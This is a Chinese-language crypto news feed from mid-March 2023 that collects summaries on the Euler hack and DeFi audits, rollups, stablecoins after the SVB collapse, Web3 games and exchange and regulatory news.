    Chainfeeds 导读： Euler 被黑客攻击损失 2 亿美元，dForce 创始人 Mindao 借此事对 DeFi 的安全审计和安全问题进行研究和探讨，解析了三种审计模式，认为对于 DeFi 这样的开放系统来说，安全代价就是自由的代价。 文章来源： https://twitter.com/mindaoyang/status/1635537914854772737 文章作者： Mindao（dForce 创始人） 观点： Mindao（dForce 创始人）：大的 DeFi 协议基本上都经过多轮审计，但蓝筹 DeFi 没哪个没被黑过。原因很简单，从攻防来看，所有静态审计的输入（安全投入）和输出（发现 bug) 都是有限的。常规审计以外的审计模式：1）形式化验证，能帮助穷尽「已知」路径的覆盖范围，但是无法穷尽「未知的未知」。DeFi 是一个开放系统，对于黑客（攻方）来说，它的输入是无限的，输出也是无限的。 内容来源 Mindao（dForce 创始人）：2）开发式竞争型审计，如 Code4rena，审计奖金池固定，但是输入在一定时间内是弹性的，所有人都可以参加，谁发现 bug 按照严重程度，分奖金，这个方式是让审计师 / 白帽去卷，可以扩大覆盖面，但总体输入依然固定，远远不够。3）完全开放的模式，那就是赏金网络。赏金模式在输入输出上也是开放式的，类似于黑客的攻击模式，但是激励模式大有区别。 内容来源 Mindao（dForce 创始人）：把赏金比例和 TVL 挂钩能否激励更多黑客转白帽？1）没哪个 DeFi 协议能支付黑客所要求的大额赏金；2）DeFi 的安全更复杂问题在于除了代码层面，还有可组合风险；3）DeFi 的攻击面是四维增长的，定期静态安全审计加长期赏金，也无法覆盖不断扩大的攻击面。DeFi 安全是无限游戏，唯一靠谱的是在协议上减少外部依赖（资产 /oracle/ 第三方协议），最小化攻击面，尽量待在「自己的舒适区」，不乱做扩展。 内容来源  ( 2 min )
    盘点四款值得关注的大型 Web3 游戏：Symbiogenesis、METAPIXEL、Codename Renegades 和 AVALON
    Chainfeeds 导读： 随着 Web3 游戏的兴起，最近越来越多的传统游戏大厂开始涉足 Web3 领域，一个全新的数字游戏生态系统正在迅速形成。深潮研究员 0xbun 盘点四款最近备受关注的 Web3 游戏，涵盖剧情解密、角色扮演、科幻以及 MMORPG 四个类型。 文章来源： https://techflowpost.mirror.xyz/e3wYBSgMkHpeEr1X1J01nFrHAF_kkEKPzKTMCyYm-rU 文章作者： 0xbun 观点： 0xbun：1）SYMBIOGENESIS，Square Enix 亲自操刀的 Web3 游戏，作为《最终幻想》开发商，该公司旗下的游戏一向拥有极高的品质和广泛的受众。是一个新的 NFT 收藏品艺术项目，基于 NFT 的故事随着玩家行动展开，这个过程被称为「NFT 解锁叙事」。2）METAPIXEL ，旨在成为 APTOS 上最顶尖的游戏生态系统，其团队有着 Web2 游戏大厂背景，其创造者 NPIXEL 曾经是韩国游戏《格兰骑士团》的开发商，拥有非常丰富的游戏开发经验和强大的技术实力。 内容来源 0xbun：3）Codename Renegades，充满未来科幻感的 MOBA 类多人游戏。它利用区块链技术，重塑了玩家与经济的关系，让他们以一种全新、实用且有意义的方式参与游戏 —— 即 Play & Own。4）AVALON，最终目标是建立一个数字化的、链上的大型多人在线游戏。融资由 Delphi Digital 领投，其团队领导者拥有《使命召唤》、《暗黑破坏神》、《战神》、《刺客信条》和《艾尔登法环》等游戏制作团队背景。 内容来源  ( 4 min )
    Foresight Ventures：Perpetual DEX 的 LP 产品化之路
    Chainfeeds 导读： Foresight Ventures 研究员 Kylo 撰文解析 LP 的产品化，即 DeFi 协议的流动性变成一个标准化产品的过程，对三类 Perpetual DEX 的机制进行解读并阐述其实现 LP 产品化的可能性以及实现方式。最后从 DeFi 发展历史观的角度阐述为何 LP 产品化对于 DeFi 发展具有重要作用。 文章来源： https://mp.weixin.qq.com/s/GxZN330_QHcfh2S0Yg6Nvw 文章作者： Kylo（Foresight Ventures） 观点： Kylo（Foresight Ventures）：Perpetual DEX 的机制：1）Orderbook 类交易模式，为了实现所谓的 LP 产品化需要付出三个层面的额外成本：融资成本；发行的 LP 票据参与其他 DeFi 生态的整合成本；维护 LP 退出流动性的成本。因此 LP 产品化这个模式在链上有实现的可能性，但可能并非最优选择。未来应该各取 TradFi 和 DeFi 的优势。 内容来源 Kylo（Foresight Ventures）：2）vAMM 交易模式，暂时无法实现 LP 产品化，原因在于目前还没有一个行之有效的 LP 管理方法，即无法对 LP 的风险和收益进行有效分割。3）P2Pool 交易模式，GMX 的 GLP 池和 gTrade 的 gDAI 池就是典型的 LP 产品。GLP 的风险可以被拆分，目前已经有大量协议在尝试 Hedge GLP 面临的 Delta risk，但 Trader PnL risk 可行的方案在于 GMX 内部机制改进或者尝试在其他 DEX 或者 CEX 进行对冲。 内容来源 Kylo（Foresight Ventures）：为什么 LP 产品化对于 DeFi 的发展很重要？通过对 DeFi 发展史梳理得出三层架构，而第二层（DEX、借贷、稳定币）和第三层（DeFi 2.0 协议）的连接逻辑在于 DeFi 协议之间的可组合性，其反应了真实收益在不同协议之间的流动。而收益协议执行的最重要功能在于 LP 产品化。 内容来源 Kylo（Foresight Ventures）：LP 产品化后 DeFI 协议 TVL 的增加进入快车道，TVL 的增加也使得交互用户对于 DeFi 产品的体验感增加。此外，LP 产品化也使得 LP 存在杠杆化的可能性，使其成为后续衍生品产品的开发与集成、搭建 DeFi lego 的基础。因此对于 Perpetual DEX 而言，LP 产品化之路其实也只是在复刻初始 DeFi 协议发展的逻辑。 内容来源  ( 35 min )
    【英文长推】解读基于「based」的 rollup 提案：来自 L1 排序的超能力
    Chainfeeds 导读： Justin Drake 在以太坊研究会提出基于「based」的 rollup 提案，即使用 L1 提议 - 构建者分离以原生地包含 L2 blob（包含任何压缩），而不是使用排序器。Eigenlayer 创始人 Sreeram Kannan 撰推对该提案进行解读，并提出疑问和可行的解决方式。 文章来源： https://twitter.com/sreeramkannan/status/1635453231815086080 文章作者： Sreeram Kannan（Eigenlayer 创始人） 观点： Sreeram Kannan（Eigenlayer 创始人）：这里的一个问题是 L2 客户端将交易发送到哪里，以便搜索者 / 构建者可以将它们捞出来组成 L2 blob？解决方法：1）将它们发送到 L1 内存池，其中包含一些「知情」搜索者可以解释的特殊元数据。但缺点是将显著增加 L1 内存池的负载。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：2）让这些 L2 交易存在于新的 p2p 内存池（或 pubsub 分片）中，每个 L2 一个，然后「知情」的搜索者可以从中找出它们，以创建 blob。总体而言，这种基于 rollup 的结构创建了一个集成的 MEV 市场（包括交叉 rollup 原子套利），正如 Justin Drake 所指出，缺点是排序优先权不由 L2 行使和拥有，但这将是许多 L2 启动的好方法。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：文章中还指出，还有两个 Eigenlayer 可以协助的进一步改进，即测序的预确认和测序的 fifo 通道。高级功能，如交易压缩，只发布 blob 等，今天只有使用中心化或单独的去中心化排序器才可能。而 Justin 观察认为，L1 构建者可以发挥同样的作用。【原文为英文】 内容来源  ( 2 min )
    【访谈】对话 EthStorge，用 Layer2 思路构建以太坊
    Chainfeeds 导读： BinaryDAO 对话以太坊基础设施 EthStorge 创始人 Qi Zhou，解析 EthStorge 的目标以及目标实现方式，阐述 EthStorage 如何利用以太坊的 Rollup 技术和 Layer2 技术降低以太坊的存储成本。 文章来源： https://mp.weixin.qq.com/s/fHSwRHMDtPdYgYTnVTdL2A 文章作者： BinaryDAO 观点： Qi Zhou：EthStorge 目标：1）利用以太坊的安全属性，建立开放生态系统。2）利用以太坊的 Rollup 技术和 Layer2 技术降低以太坊的存储成本，希望把以太坊的存储成本降低到现在的千分之一，并提高现有的存储能力到 PB 级别以上。 内容来源 Qi Zhou：如何实现：与其他以太坊 Rollup 有着本质区别，其他 Rollup 都是在 TPS 性能上做扩容，属于对 ETH 计算层的扩容，而 EthStorage 是对 ETH 存储层的扩容。 EthStorage 不仅可以作为一个去中心化的长期存储的解决方案，而且可以高度跟以太坊以及以太坊所有生态进行绑定，其它 Rollup 就可以通过智能合约验证所有的存储数据。 内容来源 Qi Zhou：EthStorage 可以更好地去支持以太坊现在所有的应用，为了支持这些应用，我们开发了一个 Web3 的访问协议。该协议是一个去中心化的 HTTP 版本，或者是一个更加灵活的 IPFS 版本，其中关于资源的定位方式是一个智能合约。开发该协议原因：大量数据存储到以太坊，并且能够被智能合约直接 Reference，需要有一个去中心化的方式去访问它。 内容来源  ( 32 min )
    【英文长推】一文解析当下比特币上涨原因
    Chainfeeds 导读： 当下为什么所有股票都在下跌时比特币却在上涨？加密货币 KOL Takashi Azuki 认为是目前的市场行情加上 CZ 将 BUSD 转换为 BTC/BNB/ETH 导致的比特币上涨，并阐述了自己目前的做法。 文章来源： https://twitter.com/rxcrax/status/1635338126003695617 文章作者： Takashi Azuki 观点： Takashi Azuki：比特币上涨原因：当下，银行股跌入地狱，部分股票停牌。金融市场正在崩溃，比特币的去中心化也许是一种救赎。美国当局保证返还破产的 SVB 存款，并暂停 Signature Bank（NYC），USDC 恢复锚定 1 美元。同时 CZ 将 BUSD 溢出到 BTC/BNB/ETH。【原文为英文】 内容来源 Takashi Azuki：我现在在做什么：留下了一半的稳定币，并将它们转换为 USDT 。我仍然认为行情很快就会修正。我将继续按计划对其进行再投资。【原文为英文】 内容来源  ( 2 min )
    【英文长推】SlowMist：以太坊借贷平台 Euler Lab 遭到攻击，去中心化金融领域安全措施待加强
    Chainfeeds 导读： 2023 年 3 月 13 日，在以太坊区块链上运行的借贷平台 Euler Lab 遭到攻击，导致攻击者盗取超过 1.9 亿美元。SlowMist 分析此次被盗过程以及原因，呼吁去中心化金融领域平台应实施严格安全措施来防范恶意行为者。 文章来源： https://twitter.com/slowmist_team/status/1635288963580825606 文章作者： SlowMist 观点： SlowMist：两个关键因素促成了攻击的成功：1）资金被捐赠到预留地址，没有经过流动性检查。这创造了一种可以直接触发软清算的机制。2）当高杠杆触发软平仓逻辑时，收益率增加，使得清算人仅通过将一部分负债转移给自己，就可以获得被平仓用户账户中的大部分抵押资金。鉴于抵押资金的价值超过了负债的价值（由于软清算而仅部分转移），清算人能够成功通过他们的资产健康状况检查并提取获得的资金。【原文为英文】 内容来源  ( 2 min )
    【英文】Glassnode 周报：三家银行倒下
    Chainfeeds 导读： 近日，美国三家加密货币友好银行机构 Silvergate 、Silicon Valley Bank、Signature Bank New York，自愿清算或被美国监管机构接管，引起了市场波动。Glassnode 作者 Checkmate 通过相关数据变化总结了其在链上资产以及市场结构中的影响。 文章来源： https://insights.glassnode.com/the-week-onchain-week-11-2023/ 文章作者： glassnode 观点： glassnode：在 2023 年最具影响力的一周之后，数字资产行业在美国缺少了三家友好的加密银行机构，并且数字资产行业处于日益敌对的监管环境中。随着传统金融市场在周末关闭，几种稳定币经历了与 1 美元挂钩偏离的情况，在周日有保证存款消息传出后得到恢复。【原文为英文】 内容来源 glassnode：投资者的反应与 FTX 之后有些相似，将稳定币净转入交易所，并选择持有 BTC 和 ETH。宏观角度看，该行业在过去一个月中经历了约 59 亿美元的净流出。从许多方面来看，本周强化了 Satoshi 创建无信任、稀缺、数字资产的原因。【原文为英文】 内容来源  ( 7 min )
    【英文长推】一文了解 Ethereum Attestation Service 的链下证明
    Chainfeeds 导读： 目前大多数项目为了保护限制了用户数据的隐私性，牺牲了其可移植性和互操作性。私有的链下证明允许数据保持私有，同时仍然可供信任方访问。Ethereum Attestation Service 撰文介绍了链下证明的特点以及优势。 文章来源： https://twitter.com/eas_eth/status/1635391258230394880 文章作者： Ethereum Attestation Service 观点： Ethereum Attestation Service：每个链下证明都包括：整个证明数据；签名者的完整签名；唯一标识符（数据哈希）；可下载 / 共享数据；零 gas 成本。这是一个完全私有的样本联系人卡（除非共享）。 EAS 永远不知道它的存在，证明是在浏览器中客户端加密和解密的。使用任何模式，用户都可以进行私有的链下证明。只需填写证明数据字段并作为链下交易签名即可。【原文为英文】 内容来源 Ethereum Attestation Service：这不仅限于用户提供的数据，也可以是机构提供的，比如银行开具用户的资金证明。同时零知识证明将进一步提高数据隐私，通过证明某些事情的真实性，而不会透露有关其它信息。【原文为英文】 内容来源  ( 2 min )
    【数据】3 月份 Coinbase 的市场深度腰斩，币安流动性下降 13%
    【数据】3 月份 Coinbase 的市场深度腰斩，币安流动性下降 13% 据 Kaiko 研究数据显示，美元交易对的交易量在上周六创历史新高，达 6 亿美元，其中 Kraken 占据主导地位，提供了最具流动性的 USDC-USD 交易对。此外 3 月 11 日 Aave 和 Compound 收到了超过 20 亿美元的还款，其中大部分是 USDC。同时在交易所流动性方面，3 月份 Gemini 市场深度下降了 74%，Coinbase 下降了 50%，Binance.US 下降了 29%，币安则受益于其更多的全球风险敞口，本月到目前为止，流动性仅下降了 13%。 内容来源  ( 15 min )
    Web3 数据存储解决方案 KYVE 将于今日分阶段启动主网
    Web3 数据存储解决方案 KYVE 将于今日分阶段启动主网 Web3 数据存储解决方案 KYVE 将于北京时间今天 22:03:14 启动主网。KYVE 表示，已经从全球挑选了 14 名验证者参与 KYVE 创世验证者计划，且将通过分阶段启动主网解决 KYVE 基金会无法在创世区块内执行必要授权的安全风险。主网开启后，KYVE 团队将专注于监测网络稳定性和基金会授权计划（FDP），且为了保持中立的链状态，在将其他验证者引入链上之前通货膨胀和质押功能将被禁用。启动 1 小时后，KYVE 团队将提出一个治理提案以取消定制 Gas 限制，2 小时后将投票期更新为 1 周，此时将启动流动性质押，允许任何 KYVE 持有者创建自己的链上节点。启动一周后，启用通货膨胀的治理提案将被通过以提供一个功能齐全和安全的 KYVE 主网。启动 6 至 8 周后，将在主网启动第一个数据池。通过在 KYVE 协议层引入数据池，用户将能够通过操作或委托协议节点来获得奖励。 内容来源  ( 11 min )
    【英文长推】Glaxy Digital 研究员解读 Eigenlayer 的创新性：为什么说它很重要？
    Chainfeeds 导读： 我们该如何减少恶意行为者？Galaxy Digital 研究员 Walt Smith 认为 Eigenlayer 机制是加密货币的一次飞跃创新，可以利用女巫攻击的阻力来增强基础层，并突破固有限制且无需改变其主要优势。 文章来源： https://twitter.com/waltjsmith/status/1635147987004579841 文章作者： Walt Smith 观点： Walt Smith：在分布式计算和区块链中，网络参与者越多，则不诚实的行为者就越多，这也会导致成本增加。因此我们有一个权衡，即增加对故障的鲁棒性并提高可及性，但这也会增加时间成本。对于区块链而言，更快的通信或共识能够通过更快的结算时间提高市场效率，增加抗重组能力并提高快速的经济终局性。【原文为英文】 内容来源 Walt Smith：我们试图通过不同的方式来解决这个权衡，包括 Solana 历史证明结合 Turbine、Tendermint 应用链及以太坊的 LMD-GHOST/Casper FFG 混合。这就是 EigenLayer 产生作用的地方。EigenLayer 让所有用户公开创建子集以参与额外的通信，既给了我们想要的经济安全和可信中立性，也让协议及其产品更接近现实世界的应用程序。【原文为英文】 内容来源 Walt Smith：我的结论是：1）重质押增强了网络，表明网络可以再次绕过内置限制；2）理想的网络将存在一个强大的基础层（便宜、易于操作、多样化节点），但也需要有足够多的状态创建逻辑及原语；3）安全构建每种类型的服务或中间的逻辑需要长时间的努力。【原文为英文】 内容来源  ( 2 min )
    为下一次危机做好准备：稳定币脱钩紧急逃生指南
    Chainfeeds 导读： 当你持有的稳定币面临脱钩风险，该如何操作？加密研究员 CapitalismLab 结合底层逻辑、实际数据和案例，制作了一份稳定币脱钩紧急逃生指南。 文章来源： https://capitalismlab.substack.com/p/fc3 文章作者： CapitalismLab 观点： CapitalismLab：根据不同挂钩机制解析去中心化稳定币逃生方法：1）PSM 通过支持直接与其他稳定币兑换来挂钩，其额度存在上限，到达上限后会转为单向转换，短期而言能够容下大资金，且稳赚不赔，但并不能完全脱离 USDC 影响；2）AMO：需要确定 AMO 底层资产有没有问题； 内容来源 CapitalismLab：3）债务 / 抵押品定向兑换：对于中小额资金而言，如果能以低于 1 的价格买入 LUSD，是一个不错的逃生方案，但需要担心极端行情导致的坏账；4）随缘挂钩：考虑到目前大部分产品普遍都增加了较多风险较高的抵押物，不太适合紧急逃生。 内容来源 CapitalismLab：从储备资产角度分析中心化稳定币逃生方法，从综合安全性和流动性而言 BUSD> USDC > USDT。不过 USDT 也存在久经检验及「不透明」带来的优势，而 BUSD 则成了美国监管机构的眼中钉。此外，比较小众的还有 USDP/ GUSD 等。 内容来源  ( 6 min )
    【英文】Vela Exchange 与 GMX 竞争分析：谁会赢？
    Chainfeeds 导读： Arbitrum 目前 TVL 中超 30% 都来自于 GMX，虽然 GMX 已经建立了头部优势和护城河，但其竞争对手永续杠杆交易所 Vela Exchange 也正在迅速获得价值。加密研究员 Wauwda 从概念、功能及市值等角度将 GMX 和 Vela Exchange 进行了对比分析。 文章来源： https://twitter.com/wauwda/status/1635292016673447940 文章作者： Wauwda 观点： Wauwda：与 GMX 不同，Vela Exchange 提供法币出入金和 OTC 交易。此外，Vela Exchange 的回购模式也很独特，市场上回购的 VELA 将备用做储备用于支付 eVELA 奖励，既稳定了供应量也不会有额外的 VELA 被铸造。此外，从市值和 TVL 两方面看：Vela Exchange 市值为 2850 万美元，TVL 为 4137 万美元。GMX 市值为 5.275 亿美元，TVL 为 5.215 亿美元。【原文为英文】 内容来源  ( 2 min )
    【英文】Cosmos 链间安全 V1 即将上线，一文解构其运作机制及影响
    Chainfeeds 导读： 链间安全（Interchain Security） V1 版本即将在 Cosmos Hub 上线，这标志着 Atom2.0 愿景的开始。加密研究员 Le Thang 对链间安全 V1 版本进行了分析解读，包括其工作机制、对验证器的影响及团队等。 文章来源： https://lethang.substack.com/p/replicated-security-with-jehan-tremback 文章作者： Le Thang 观点： Le Thang：链间安全（ICS）是一种共享 Cosmos 链之间安全的形式，其路线图显示 V1 版本是复制安全、V2 版本是选择性安全、V3 版本则会实现网状安全。其中复制的安全是指 Consumer Chain 将由 Cosmos Hub 完整验证器组来保障并具有与 Cosmos Hub 相同的安全性。【原文为英文】 内容来源 Le Thang：Consumer Chain 的增多会增加成本，而 Slash 的条件被放宽了，将会让 Consumer Chain 的验证更加容易。未来验证者可以选择他们是否要对 Consumer Chain 进行验证。此外，Consumer Chain 产生的通胀和费用的 25% 将通过 IBC 发送给 Cosmos Hub，并分发给其他验证者和委托者。【原文为英文】 内容来源  ( 8 min )
    【英文长推】USDC 面临信任危机，去中心化稳定币 LUSD 是否值得期待？
    Chainfeeds 导读： USDC 虽然重回 1 美元，但此次「脱锚危机」无疑导致了市场对 USDC 等中心化稳定币的不信任。加密研究员 Nikyous 对从运作机制、挂钩模式及创新点等方面对去中心化稳定币 LUSD 进行了分析解读。 文章来源： https://twitter.com/CryptoNikyous/status/1635276887755997186 文章作者： Nikyous 观点： Nikyous：通过 Liquity，用户使用 LUSD 借入 ETH ，并质押 LQTY 以赚取借入或赎回 LUSD 的费用收入，当 LUSD 挂钩价格低于 1 美元时，用 1 美元的 LUSD 赎回价值 1 美元的 ETH。通过 Liquity 赚取收益的方式包括 LUSD 债券、质押 LQTY 及 LUSD 稳定池。【原文为英文】 内容来源 Nikyous：用户可以在任何时候将 LUSD 赎回为 ETH，没有任何限制，赎回的 LUSD 将会被销毁。其价格主要通过三个机制维持稳定：110% 的最低抵押率、借贷和赎回费用及作为谢林点（Schelling point）的均等性。【原文为英文】 内容来源 Nikyous：Liquity 的创新点在于每次进行 LUSD 赎回时，协议都会以最低的抵押品偿还贷款，这种机制通过支付风险最高的贷款来保护 Liquity 免受清算。作为借款人不会产生净损失。监管方面，该协议完全由代码操作，任何监管机构都不可以禁止 LUSD 的发行。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Eigenphi 对话行业专家：如何预防预言机攻击？
    Chainfeeds 导读： 据 Chainalysis 数据，2022 年由于预言机操纵造成的损失达 4.03 亿美元。EigenPhi 对话 ZeroMEV 创始人、BlockSec 联创、SlowMist 团队成员及 Pyth Network 核心贡献者等行业专家，就预言机攻击类型及预防方法等内容进行了共同探讨。 文章来源： https://twitter.com/EigenPhi/status/1635404741932101633 文章作者： EigenPhi 观点： Yixin Cao（EigenPhi 数据科学家）：预言机攻击可以分为设计缺陷、流动性操纵和代币发行机制利用三个方面，构建这样的理论框架可以帮助进行风险评估。【原文为英文】 内容来源 Yajin Zhou（BlockSec 联创）：关于如何减轻与预言机相关的风险，DeFi 需要主动进行风险控制和隔离，隔离是 DeFi 协议缺乏的基本安全机制。此外，我还建议对不同来源的价格进行纠正性监测和比较，并对 mempool 进行监测。【原文为英文】 内容来源 Pmcgoohan（ZeroMEV 创始人）：DeFi 需要转向防御性思维，优先保护用户资金，用户应该转移至 FCFS L2 系统上的审计协议以避免操纵和贿赂，交易应该在 L2 上使用加密 memepool 进行以保护隐私。【原文为英文】 内容来源 Jayant Krishnamurthy（Pyth Network 核心贡献者）：建议采取综合防御措施：从各个链上和链下交易所获取价格以及值得信赖的报告人和数据聚合、高频率和低延迟的价格更新机制及审计预言机的操作栈。【原文为英文】 内容来源  ( 2 min )
    CME 已上线比特币期货的事件合约交易
    CME 已上线比特币期货的事件合约交易 据 The Block 报道，芝加哥商品交易所（CME）已上线比特币期货的事件合约（event contracts）交易，该产品将添加到 CME 现有的 10 个与基准期货市场相关的事件合约套件中，可为投资者提供一种有限风险、高度透明的方式，以通过完全受监管的交易所进入比特币市场。此类合约同提供基于特定事件的交易，也称为预测合约或信息合约，每日到期，以现金结算。投资者以此交易他们对比特币价格走势的看法。 内容来源  ( 210 min )
    Web3 游戏工作室 Jungle 完成 600 万美元融资，Bitkraft 和 Framework Ventures 领投
    Web3 游戏工作室 Jungle 完成 600 万美元融资，Bitkraft 和 Framework Ventures 领投 据 The Block 报道，巴西 Web3 游戏工作室 Jungle 已完成了 600 万美元种子轮融资，Bitkraft 和 Framework Ventures 共同领投，Delphi Digital、Karatage、Fourth Revolution Capital、Monoceros、32bit Ventures、Stateless Ventures、Snackclub 和 Norte Ventures 等参投。本轮融资将用于建立团队、营销和发行其制作的游戏。 内容来源  ( 209 min )
    DeFi 可组合型杠杆协议 Gearbox Protocol 正在审计 V3 升级代码，或将于二季度末决定发布日期
    DeFi 可组合型杠杆协议 Gearbox Protocol 正在审计 V3 升级代码，或将于二季度末决定发布日期 DeFi 可组合型杠杆协议 Gearbox Protocol V3 升级代码目前正在进行审计，预计将在二季度末决定发布日期。Gearbox V3 建立在 V2 代码库构建，不仅可以增加池子、代币和协议，还能在流动性较低时让 Gearbox 在其增长来源中增加 L2。出借人可以选择留在目前不可变借贷池中，或者选择通过在 Alpha 池中承担更多风险获得更多 APY。且 V3 会引入一个新的 Alpha 被动借贷池。每个借款人都可以为每项中尾资产设置任何配额值，此外还将引入一种新的基于借款人对每项资产配额大小的百分比 APR 的配额利息。据悉，V3 所有参数都必须在 GEAR DAO 进行投票决定。此外，V3 还引入了开源不可变自动化合约 Gearbots，允许合约账户所有者将主动账户管理的某些方面委托给第三方。 内容来源  ( 25 min )
    币安将从 3 月 13 日开始暂停新用户英镑存取款，并将在 5 月 22 日暂停所有用户英镑出入金渠道
    币安将从 3 月 13 日开始暂停新用户英镑存取款，并将在 5 月 22 日暂停所有用户英镑出入金渠道 币安法币合作伙伴 Paysafe 因监管问题决定停止在英国为币安客户提供嵌入式钱包解决方案，币安将从 3 月 13 日开始暂停新用户的英镑存取款，并将在 5 月 22 日暂停所有用户的英镑出入金渠道。Paysafe 发言人表示，由于英国与加密有关的监管环境太具有挑战性，因此无法提供这项服务，Paysafe 将继续在欧洲和拉丁美洲与币安合作。币安估计这项举措将影响不到 1% 的用户，并在一封电子邮件中表示，正在努力寻找替代解决方案。 内容来源  ( 208 min )
    知情人士：DeFiance Capital 完成 1 亿美元流动性代币基金的首次融资，将于本月开始投资
    知情人士：DeFiance Capital 完成 1 亿美元流动性代币基金的首次融资，将于本月开始投资 据 The Block 援引知情人士表示，加密投资基金 DeFiance Capital 完成 1 亿美元流动性代币基金的初次关账（first close），该基金已经筹资八位数，并将在本月开始进行投资。一位知情人士表示，该基金最初筹资金额低于 5000 万美元。此外，支持该基金的投资者组合良好，包括加密 EOF、家族办公室及 DeFiance 现有投资者。 此前消息，DeFiance Capital 创始人 Arthur Cheong 计划为新基金筹集 1 亿美元，该基金将保留 DeFiance 的名称，将专注于具有流动性的加密资产的投资。 内容来源  ( 211 min )
    Meta 正在逐步减少 NFT 业务投入
    Meta 正在逐步减少 NFT 业务投入 Meta 商务和金融技术主管 Stephane Kasriel 发布推特称，目前正在逐步减少 NFT 业务投入以专注于其他支持创作者、个人和企业的方式。Stephane Kasriel 还表示，为创作者和企业创造机会与粉丝建立联系并实现盈利，仍然是 Meta 的一个优先事项，Meta 将专注于能够产生大规模影响的领域，例如 Reels 的信息传递和货币化机会。此外，Meta 将继续投资于个人和企业在未来需要的金融技术工具，目前正在用 Meta Pay 简化支付并投资于 Meta 信息支付。 内容来源 观点： Eric Ravenscraft：Facebook 的商业模式就是抄袭别人的模式来盈利，现在他们甚至放弃了 NFT。【原文为英文】 内容来源 SHΞRKHAN.S◎L：Web 2 社交网络逐步减少对 Web3 的支持。创新者两难处境？或者只是一种对抗性策略？或者是由于 iOS 限制？似乎是一种短视行为。【原文为英文】 内容来源  ( 2 min )

  • Open

    法律和监管如何解决 DeFi 中的内幕交易的问题？
    法律和监管如何解决 DeFi 中的内幕交易的问题？ – 深潮TechFlow 撰写：Sabina Beleuz Read the full entry  ( 4 min )
    法律和监管如何解决 DeFi 中的内幕交易的问题？
    法律和监管如何解决 DeFi 中的内幕交易的问题？ – 深潮TechFlow 撰写：Sabina Beleuz Read the full entry  ( 4 min )
    区块链游戏解析：类型、发展模式、XR、开放经济和F2O
    区块链游戏解析：类型、发展模式、XR、开放经济和F2O – 深潮TechFlow 撰写：Stanford Blockchain Review Read the full entry  ( 4 min )
    区块链游戏解析：类型、发展模式、XR、开放经济和F2O
    区块链游戏解析：类型、发展模式、XR、开放经济和F2O – 深潮TechFlow 撰写：Stanford Blockchain Review Read the full entry  ( 4 min )
    四款值得关注的大型Web3游戏：Symbiogenesis、METAPIXEL、Codename Renegades和AVALON
    四款值得关注的大型Web3游戏：Symbiogenesis、METAPIXEL、Codename Renegades和AVALON – 深潮TechFlow 出品：深潮 TechFlow Read the full entry  ( 4 min )
    四款值得关注的大型Web3游戏：Symbiogenesis、METAPIXEL、Codename Renegades和AVALON
    四款值得关注的大型Web3游戏：Symbiogenesis、METAPIXEL、Codename Renegades和AVALON – 深潮TechFlow 出品：深潮 TechFlow Read the full entry  ( 4 min )

  • Open

    华尔街日报：美国FDIC计划再次拍卖硅谷银行
    PANews 3月14日消息，据《华尔街日报》援引知情人士的话称，美国联邦存款保险公司(FDIC)计划再次尝试拍卖硅谷银行（SVB）。上周末，FDIC曾尝试拍卖，但未获成功。监管机构认为SVB的破产对金融体系构成潜在威胁，从而使FDIC出售SVB时有更多选择，比如为储户超过25万美元的存款提供保险，以及提供更优惠的条款。据此前消息，FDIC上周五接管了硅谷银行，周日又接管了Signature Bank。有律师认为，SVB的接管与Signature Bank的接管不同。接管SVB是试图清算其资产，而接管Signature Bank是为了满足买家的预期，从而使业务能够保持不间断。  ( 4 min )
    华尔街日报：美国司法部正调查TerraUSD的崩溃
    PANews 3月14日消息，据《华尔街日报》援引知情人士的话报道，美国司法部正在调查去年TerraUSD的崩溃，这增加了对Do Kwon提出刑事指控的可能性。据悉联邦调查局和纽约南区法院已经采访了Terraform Labs的前员工，并试图采访其他人。今年2月，美国SEC在曼哈顿联邦法院对Do Kwon和Terraform Labs提起了民事欺诈诉讼，指控他们在TerraUSD的风险方面误导投资者。据知情人士透露，司法部的调查也涉及类似的领域。  ( 4 min )
    Meta将终止对NFT的支持，未来将通过其它方式支持NFT创作者
    PANews 3月14日消息，Meta商务和金融服务主管Stephane Kasriel推特发文称，"将停止对NFT的支持，并专注于通过其他方式来支持创作者和企业。帮助创作者和企业与粉丝联系仍然是我们的首要任务，我们将专注于能够产生大规模影响的领域，例如Reels的通讯功能和变现机会。Meta将继续支持使用Instagram和Facebook的NFT创作者，未来将继续投资于个人和企业需要的金融科技工具。我们正在通过Meta Pay简化支付，让结账和付款变得更容易，同时将推广短信支付功能”。Meta此前曾表示，NFT有助于扩大创作者经济。Instagram在去年11月宣布了由Polygon支持的NFT市场计划。Kasriel在去年11月的一篇博客文章中表示，“与我们认为的发展方向相比，NFT市场现在还处于早期阶段。通过支持在Instagram上使用NFT，我们为数十亿用户开辟了新的方式来联系和支持他们喜欢的创作者，这反过来又释放了更多的机遇”。上周五，据《华尔街日报》报道，Meta计划在未来几个月进行多轮裁员。知情人士表示，预计该公司还将“关闭一些项目和团队”。  ( 4 min )
    比特币矿商Marathon Digital：已可以动用存放在Signature Bank的1.42亿美元现金
    PANews 3月14日消息，据The Block报道，比特币矿商Marathon Digital表示，该公司已可以动用Signature Bank的1.42亿美元现金存款。该公司在一份声明中称，已可以对这些资金进行管理，并支付正常业务过程中的发票。Marathon还证实，该公司与硅谷银行没有直接业务关系。上周，Marathon表示已偿还了Silvergate Bank的定期贷款，并结束了与该银行的信贷安排。据此前消息，美国联邦银行监管机构已承诺返还硅谷银行和Signature Bank客户的全部存款。  ( 4 min )
    币安将于5月22日暂停所有用户的英镑存取款服务
    PANews 3月14日消息，据CoinDesk报道，加密交易所币安将于3月13日暂停新用户的英镑存取款，并于5月22日暂停所有用户的英镑存取款服务。币安发言人在电子邮件中表示，已经收到币安法币合作伙伴Paysafe的通知，从2023年5月22日起，他们将不再能够提供英镑存取款服务。币安表示，这一变化将影响不到1%的用户，该交易所正在寻找替代解决方案。与此同时，其它法币的存取款方式以及加密货币交易都不受影响。  ( 4 min )
    芝商所推出比特币期货事件合约交易
    PANews 3月14日消息，据The Block报道，芝加哥商品交易所集团(CME Group)周一推出比特币期货事件合约交易。该公司在一份声明中表示，新产品将“为投资者提供了通过完全受监管的交易所进入比特币市场的方式，风险有限且高度透明”。此类合约提供基于特定事件的赔付，也被称为预测合约或信息合约，每日到期，以现金结算。投资者以此交易他们对比特币价格走势的看法。据此前消息，今年2月CME比特币期权未平仓合约创历史新高，首次突破10亿美元。  ( 4 min )
